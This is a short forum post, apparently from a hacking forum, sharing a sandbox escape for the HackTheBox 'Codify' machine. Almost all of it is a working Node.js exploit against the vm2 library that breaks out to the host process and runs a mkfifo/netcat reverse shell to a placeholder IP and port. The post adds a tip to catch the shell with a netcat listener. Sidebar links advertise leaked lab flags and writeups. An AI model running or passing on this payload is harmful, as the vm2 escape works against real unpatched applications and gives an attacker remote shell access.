HTB codify sandbox escape
by flippy0x00 - Saturday November 18, 2023 at 08:49 PM
#1
Tongue 
const {VM} = require("vm2"); const vm = new VM(); const code = ` const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom'); obj = {     [customInspectSymbol]: (depth, opt, inspect) => {         inspect.constructor('return process')().mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc IP PORT >/tmp/f');     },     valueOf: undefined,     constructor: undefined, } WebAssembly.compileStreaming(obj).catch(()=>{}); `; vm.run(code);

Just run a netcat listener on whatever port to catch the rev shell
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 106 42,248 10-31-2026, 07:33 PM
Last Post: aistax
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 383 138,768 10-31-2026, 11:47 AM
Last Post: thaytoiyeucoay30nam
  HTB PWN- Oxidized ROP macavitysworld 4 1,055 10-29-2026, 01:01 PM
Last Post: A1Raid3r
  HTB - code + titanic walkthrough | free tony_boom23 3 7,273 10-25-2026, 06:35 AM
Last Post: A1Raid3r
  HTB apt lab note zapot 14 35,545 10-03-2026, 08:09 PM
Last Post: whuuaa



 Users browsing this thread: 1 Guest(s)